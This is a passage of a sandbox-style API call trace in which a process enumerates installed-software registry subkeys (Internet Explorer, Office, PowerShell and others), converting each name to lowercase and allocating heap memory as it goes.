lpName="Internet Explorer") returned 0x0 [0031.244] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0031.244] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x1d7c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0031.244] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.244] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.244] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.244] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.244] RegEnumKeyW (in: hKey=0x34, dwIndex=0x31, lpName=0x1d7b930, cchName=0x104 | out: lpName="IsoBurn") returned 0x0 [0031.244] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0031.244] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x1d7c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isoburn", lpUsedDefaultChar=0x0) returned 7 [0031.244] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.244] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.244] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.244] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.244] RegEnumKeyW (in: hKey=0x34, dwIndex=0x32, lpName=0x1d7b930, cchName=0x104 | out: lpName="Loki") returned 0x0 [0031.245] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0031.245] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x1d7c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="loki", lpUsedDefaultChar=0x0) returned 4 [0031.245] RegEnumKeyW (in: hKey=0x34, dwIndex=0x33, lpName=0x1d7b930, cchName=0x104 | out: lpName="MediaCenterPeripheral") returned 0x0 [0031.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0031.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x1d7c0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediacenterperipheral", lpUsedDefaultChar=0x0) returned 21 [0031.245] RegEnumKeyW (in: hKey=0x34, dwIndex=0x34, lpName=0x1d7b930, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0031.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x1d7c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediaplayer", lpUsedDefaultChar=0x0) returned 11 [0031.245] RegEnumKeyW (in: hKey=0x34, dwIndex=0x35, lpName=0x1d7b930, cchName=0x104 | out: lpName="MessengerService") returned 0x0 [0031.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0031.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x1d7c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messengerservice", lpUsedDefaultChar=0x0) returned 16 [0031.245] RegEnumKeyW (in: hKey=0x34, dwIndex=0x36, lpName=0x1d7b930, cchName=0x104 | out: lpName="Microsoft Reference") returned 0x0 [0031.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0031.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x1d7c120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft reference", lpUsedDefaultChar=0x0) returned 19 [0031.245] RegEnumKeyW (in: hKey=0x34, dwIndex=0x37, lpName=0x1d7b930, cchName=0x104 | out: lpName="Microsoft SQL Server Compact Edition") returned 0x0 [0031.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0031.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x1d7c0d8, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sql server compact edition", lpUsedDefaultChar=0x0) returned 36 [0031.245] RegEnumKeyW (in: hKey=0x34, dwIndex=0x38, lpName=0x1d7b930, cchName=0x104 | out: lpName="MigWiz") returned 0x0 [0031.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0031.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x1d7c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="migwiz", lpUsedDefaultChar=0x0) returned 6 [0031.246] RegEnumKeyW (in: hKey=0x34, dwIndex=0x39, lpName=0x1d7b930, cchName=0x104 | out: lpName="MMC") returned 0x0 [0031.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0031.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x1d7c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmc", lpUsedDefaultChar=0x0) returned 3 [0031.246] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3a, lpName=0x1d7b930, cchName=0x104 | out: lpName="Mobile") returned 0x0 [0031.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0031.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x1d7c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mobile", lpUsedDefaultChar=0x0) returned 6 [0031.246] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3b, lpName=0x1d7b930, cchName=0x104 | out: lpName="MSBuild") returned 0x0 [0031.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0031.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x1d7c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msbuild", lpUsedDefaultChar=0x0) returned 7 [0031.246] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3c, lpName=0x1d7b930, cchName=0x104 | out: lpName="MSDE") returned 0x0 [0031.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0031.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x1d7c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msde", lpUsedDefaultChar=0x0) returned 4 [0031.246] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3d, lpName=0x1d7b930, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0031.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0031.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x1d7c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0031.246] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3e, lpName=0x1d7b930, cchName=0x104 | out: lpName="MSF") returned 0x0 [0031.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0031.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x1d7c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msf", lpUsedDefaultChar=0x0) returned 3 [0031.246] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3f, lpName=0x1d7b930, cchName=0x104 | out: lpName="MSLicensing") returned 0x0 [0031.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x1d7c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mslicensing", lpUsedDefaultChar=0x0) returned 11 [0031.246] RegEnumKeyW (in: hKey=0x34, dwIndex=0x40, lpName=0x1d7b930, cchName=0x104 | out: lpName="MSMQ") returned 0x0 [0031.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0031.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x1d7c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msmq", lpUsedDefaultChar=0x0) returned 4 [0031.247] RegEnumKeyW (in: hKey=0x34, dwIndex=0x41, lpName=0x1d7b930, cchName=0x104 | out: lpName="MSN Apps") returned 0x0 [0031.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0031.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x1d7c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msn apps", lpUsedDefaultChar=0x0) returned 8 [0031.247] RegEnumKeyW (in: hKey=0x34, dwIndex=0x42, lpName=0x1d7b930, cchName=0x104 | out: lpName="MSOSOAP") returned 0x0 [0031.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0031.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x1d7c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msosoap", lpUsedDefaultChar=0x0) returned 7 [0031.247] RegEnumKeyW (in: hKey=0x34, dwIndex=0x43, lpName=0x1d7b930, cchName=0x104 | out: lpName="MSSearch36") returned 0x0 [0031.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x1d7c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssearch36", lpUsedDefaultChar=0x0) returned 10 [0031.247] RegEnumKeyW (in: hKey=0x34, dwIndex=0x44, lpName=0x1d7b930, cchName=0x104 | out: lpName="MSSQLServer") returned 0x0 [0031.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x1d7c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssqlserver", lpUsedDefaultChar=0x0) returned 11 [0031.247] RegEnumKeyW (in: hKey=0x34, dwIndex=0x45, lpName=0x1d7b930, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0031.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x1d7c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="multimedia", lpUsedDefaultChar=0x0) returned 10 [0031.247] RegEnumKeyW (in: hKey=0x34, dwIndex=0x46, lpName=0x1d7b930, cchName=0x104 | out: lpName="NapServer") returned 0x0 [0031.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0031.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x1d7c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="napserver", lpUsedDefaultChar=0x0) returned 9 [0031.247] RegEnumKeyW (in: hKey=0x34, dwIndex=0x47, lpName=0x1d7b930, cchName=0x104 | out: lpName="NET Framework Setup") returned 0x0 [0031.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0031.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x1d7c0d8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="net framework setup", lpUsedDefaultChar=0x0) returned 19 [0031.248] RegEnumKeyW (in: hKey=0x34, dwIndex=0x48, lpName=0x1d7b930, cchName=0x104 | out: lpName="NetSh") returned 0x0 [0031.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0031.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x1d7c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh", lpUsedDefaultChar=0x0) returned 5 [0031.248] RegEnumKeyW (in: hKey=0x34, dwIndex=0x49, lpName=0x1d7b930, cchName=0x104 | out: lpName="Network") returned 0x0 [0031.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0031.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x1d7c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="network", lpUsedDefaultChar=0x0) returned 7 [0031.248] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4a, lpName=0x1d7b930, cchName=0x104 | out: lpName="NetworkAccessProtection") returned 0x0 [0031.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0031.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x1d7c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="networkaccessprotection", lpUsedDefaultChar=0x0) returned 23 [0031.248] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4b, lpName=0x1d7b930, cchName=0x104 | out: lpName="Non-Driver Signing") returned 0x0 [0031.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0031.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x1d7c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="non-driver signing", lpUsedDefaultChar=0x0) returned 18 [0031.248] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4c, lpName=0x1d7b930, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0031.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0031.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x1d7c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notepad", lpUsedDefaultChar=0x0) returned 7 [0031.248] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4d, lpName=0x1d7b930, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0031.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0031.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x1d7c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="odbc", lpUsedDefaultChar=0x0) returned 4 [0031.248] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4e, lpName=0x1d7b930, cchName=0x104 | out: lpName="Office") returned 0x0 [0031.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0031.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x1d7c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="office", lpUsedDefaultChar=0x0) returned 6 [0031.249] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4f, lpName=0x1d7b930, cchName=0x104 | out: lpName="OfficeSoftwareProtectionPlatform") returned 0x0 [0031.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0031.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x1d7c0d8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="officesoftwareprotectionplatform", lpUsedDefaultChar=0x0) returned 32 [0031.249] RegEnumKeyW (in: hKey=0x34, dwIndex=0x50, lpName=0x1d7b930, cchName=0x104 | out: lpName="Ole") returned 0x0 [0031.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0031.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x1d7c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ole", lpUsedDefaultChar=0x0) returned 3 [0031.249] RegEnumKeyW (in: hKey=0x34, dwIndex=0x51, lpName=0x1d7b930, cchName=0x104 | out: lpName="Outlook Express") returned 0x0 [0031.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0031.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x1d7c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="outlook express", lpUsedDefaultChar=0x0) returned 15 [0031.249] RegEnumKeyW (in: hKey=0x34, dwIndex=0x52, lpName=0x1d7b930, cchName=0x104 | out: lpName="PLA") returned 0x0 [0031.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0031.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x1d7c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pla", lpUsedDefaultChar=0x0) returned 3 [0031.249] RegEnumKeyW (in: hKey=0x34, dwIndex=0x53, lpName=0x1d7b930, cchName=0x104 | out: lpName="PowerShell") returned 0x0 [0031.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x1d7c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="powershell", lpUsedDefaultChar=0x0) returned 10 [0031.249] RegEnumKeyW (in: hKey=0x34, dwIndex=0x54, lpName=0x1d7b930, cchName=0x104 | out: lpName="Print") returned 0x0 [0031.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0031.249] WideCharToMultiByte (in: CodePage=0x0, 